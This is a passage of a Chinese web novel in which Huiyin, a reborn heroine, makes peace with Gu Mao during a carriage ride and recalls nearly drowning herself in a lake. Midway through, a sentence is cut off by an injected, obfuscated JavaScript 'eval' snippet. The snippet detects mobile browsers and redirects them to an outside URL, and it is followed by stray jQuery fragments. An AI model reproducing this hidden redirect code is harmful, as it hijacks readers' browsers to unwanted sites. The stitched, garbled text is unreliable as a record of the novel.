“哪里。”顾懋客气回。
徽音心下一松,以为这下该是彻底翻了篇。没想过了一息,又紧着听了对方说:“我瞧着苏娘子倒是挺有见识。那天说的那些话,也没错,我这人就是傲慢,也最是小气……”
“不不不!”徽音忙打断:“是我说错了,顾大人最是有气量!”
“有气量还能把自己爹给气死?”
“……”
唔,好吧,是她的错。
她就不该在那日因了自己心里难受,也去掀了他的底,戳他的心窝。
但话又说回来。
别人说什么他就听什么?
她说他傲慢,他便觉自个儿傲慢;她说他小气,他也觉自个儿小气。一个人怎么能尽听了旁人说,没点儿自己的判断!那若要旁人说他背信弃义、说他叛国叛友,他是不是也要……
想至此,徽音突顿住了。胸腔里不知是被谁的手给抓了一把,紧皱皱的难受。
她记得,上一世,顾懋的结局好像便是这般。
虎房外那抹燕青的影也跟着牵了出来,重叠上眼前的人。
一个健硕,一个削瘦;一个勃发,一个狼狈。
兀地,徽音从心底生出了些许悲凉。
不是为顾懋,只是为了他们这些在时间洪流里被摧残了的人。恶的也好,善的也罢,最终都扛不过这把无情岁月刀,一点点地,一寸寸地,被刮进那抔刚好能承载住他们一生重量的黄泥土。
而她,能倒转了时间,再活一世,这该是多么幸运的一件事。
也倏地,徽音不怨了。
不怨了前世那个时常与她做对的顾懋,亦不怨了前世那个在册后仪前夜将她踢回来的老天。
这一世,她就该把时间放在如何为了自己活,如何为了自己的心之所向活。
她想救林慎,那便去救林慎;她想当皇后,那便也去当皇后,没必要将今生也掰回到原来的那条正轨。毕竟,正轨也不一定就是正轨,而她的人生路,决不会只有之前的那一条。
徽音久久地没说话,只顾着,盯了顾懋这一处出神。
圆钝的眼润润的,像夜间的月,也像晨间的蕊,好似轻轻地一戳,就要沁出露来。
自然,从她眸子里滴出的,只会是灼人心的眼泪。
顾懋怕她又再哭,赶紧倾了身子过去:“我就这么一说,你倒比我还委屈。你不是要赔不是,行,就用这杯热茶。”
他屈指推了下。冒着气的白玉杯就从架在厢尾的小案边上,稳稳地跑至了徽音跟前,盛着黄津津的汤,清透,香浓。
是年前吴穹在客栈送与他的那罐北圻茶。
徽音还在脑子里晃荡,猛然被这动作一惊,攥回神,眼睛眨巴眨巴几下,茫茫然地梳理出现下情况。
太阳打西边出来了?
顾懋这是在给她递阶?
对面人见她迟迟没动,又出声问:“怎么,你是不愿就这样简单揭过?那便……”改日登门请罪好了。
话没容他说完,眼前紧着送来了那杯茶。
被人双手捧着。
白腻腻的杯嵌在白腻腻的肉,竟一时分不出谁的更胜一筹。
顾懋屈起的手蜷得更紧了,拇指按上食指节,细细地,摩挲着,就如此刻他耳心传来的那甜腻腻的道歉的语,也在细细地,摩挲着。
磨着磨着,竟还真磨出了一些渴。
顾懋不敢多顿,接了这杯赔不是的茶便灌下。
可汤是热的,他身体也是热的,热上加热只让他生出了更多的难耐,解不下渴。于是慌慌地,他又给自己泡了壶凉的,将里面原有的倒进了一个大茶盅,全挪去了徽音跟前。
“?”对面投来疑惑的眼。
顾懋脸不红心不跳:“你当多喝些,好驱寒。”
这真是又吓了徽音一跳。
要是可以,她真想伸了手去摸顾懋脑袋,看看这个没吹风的是不是比她身子还要弱,竟是先给发出热,烧糊涂了。
不然这人能对自己这样好心?
又是递台阶,又是送热茶。
他前世可不这样!
他前世可是处处与她针对,处处与她为难!
徽音不知该回些什么,很简单地表了谢。之后两人便是相坐无言。安静闯进来,带着尴尬死皮赖脸地待在这片温暖里头,不肯走。
最终,还是徽音先没撑住,张了嘴,找出话:“顾郎君这是要去往何处?”
看来确实是将延善寺那日的事给翻过去了。她予顾懋的称呼,从先前生分的“顾大人”,改为了略带亲近的“顾郎君”。
顾懋听出了,本想坏心思地再点了出来逗逗人。可转念忆起她方才模样。
一双西施目微垂,瞳仁里剪着秋水,让他好似又看到了十六岁那年南下寻玉时见到的那片梨花坞。
洇在雨里,朦朦的,愁愁的,不知在悲伤些什么,也不知要哭个什么。
许是女娘子都爱哭?
顾懋想着,他娘好像也爱哭?
但不管如何哭,总归不要到了他跟前哭。
他不喜见着这些。
之前徽音假着哭,他烦,现在她真哭……他也烦。
怕又招惹出人眼泪,顾懋只好隐下促狭,接了先前的问:“苏娘子问这个做什么?”
声音是照平常的清冽,没变化,但落在徽音这个有求的人的耳里,便成了点她图穷匕见。
脸颊微微红起,她嗫嚅地回:“就是随便问问。”
但她知道自己不是随便问问。
她是想叫顾懋送她去宣城。
其实也不是叫,是雇,她会给钱作报酬。
可她也知顾懋不缺钱,不是谁都能雇的,所以她才先问了这个引话头嘛。等顾懋说了他的去向,她不就能自然接上说自己的,到时候,再不经意地探探相送的口风,说不定……就真送她了……
徽音想着,脸更红了。
好吧,她承认,她是有些想得寸进尺。她就是想趁着顾懋今天心情好?好说话,想顺杆上爬,多要求一些。
但这也不过分吧!
她就是一时弄不到新马,想试探着问一问而已,又没逼着人家一定送,不送也可以……
徽音不知,她这番起起落落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353293|199653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的心情、起起落落的表情,全都被蘸了颜色的笔,涂在了脸上。
顾懋莫名没了烦躁,邃了她的愿:“走吧。”他冲了帘子外面说:“我们送苏娘子一程。”
当真是装腔弄势!
常度扬起马鞭,伴着车轱辘“咕咕”的转动声,也“咕咕”地腹诽着自家主子的坏心眼。
明明两人是同路,且明明在让人上车时就决定了要捎上,可他家主子就是偏不说,非要等了人苏娘子不好意思来亲口问。
之前让人上马车时也是这样。嘴上说着要走,可那脚上的动作却没见着怎么跨,要知道他家主子的步子可是大的很!撑着伞去时他三步并作两步都没能跟上。
分明就是想惹了苏娘子难堪!
想着刚才帘子里徽音窘迫的音,又想起自己还欠了徽音一句歉,常度嘴弩着,决定悄悄地把为顾懋准备好的明日要穿的燕青衣给换成红的。
当然,常度暗自想的这个替徽音出气的歪主意,徽音不知道,她现在完全被顾懋说的“我们送苏娘子一程”的欣喜给糊住了。
她不用再为如何赶路而担忧了。
虽说她也想过,马车没有骑马快。
但顾懋的这匹马,是健硕的挽马,是专用来拉车的。速度虽然是没有林家那匹骑乘马.的快,可其胜在耐力好、脚力强。中和比较后,到达宣城也慢不了多少。
连这颗悬着的小石子都落了地,徽音渐渐放松下来。
她靠上车壁,闭上眼,开始思考到了宣城该如何,找到了凶肆该如何;又去想雁回,又去想林慎,想他们的安危,想他们的未来……各种可能、各种结果,全都团进了她的脑子里,像皮影戏那般,一个接一个地在她黑暗的眼前预演。
也不知过了多久,一夜未睡的她,迷迷糊糊地睡了过去。
迷迷糊糊间,她听到了顾懋与常度说话的声。
迷迷糊糊间,她听到了车外落得更大了的雨。
但屁.股下的颠簸没停,车子有条不紊的前行没停。她放心了,又迷迷糊糊地睡了过去。直到——她鼻子里突窜进了一抹薄荷味的凉。
说起这薄荷味,徽音最初是挺喜欢的。至少,在与顾懋初见的那日,她是喜欢的。
映雪一直都以为,她与顾懋的第一次见是在东宫东厢的藏书阁、在摔碎顾懋的麒麟珮的那一次。但事实上,她与顾懋的第一次见,是在入宫前的那个盛夏。
那时天很热,她心很躁。
望着眼前的碧水湖,她不止一次地想跳进去,洗一洗。
当然,她最终还是跳了。
她听到她与自己说,她就只是试一试,试试湖水的温度,也试试雁回死前的无助。等试够了,她就浮上去。
然而,她试到胸腔发紧,试到头脑发晕,都没能浮上去。
毕竟,她不会水;要浮,也只能等到身体泡胀,等到皮肤泡烂,就如雁回最后被捞回的那样。
她以为她终于可以去见雁回和阿娘了。
结果——
也是在这样一个意识有些清明、但眼睛不太清明的情况下,她闻到了那抹薄荷味的凉。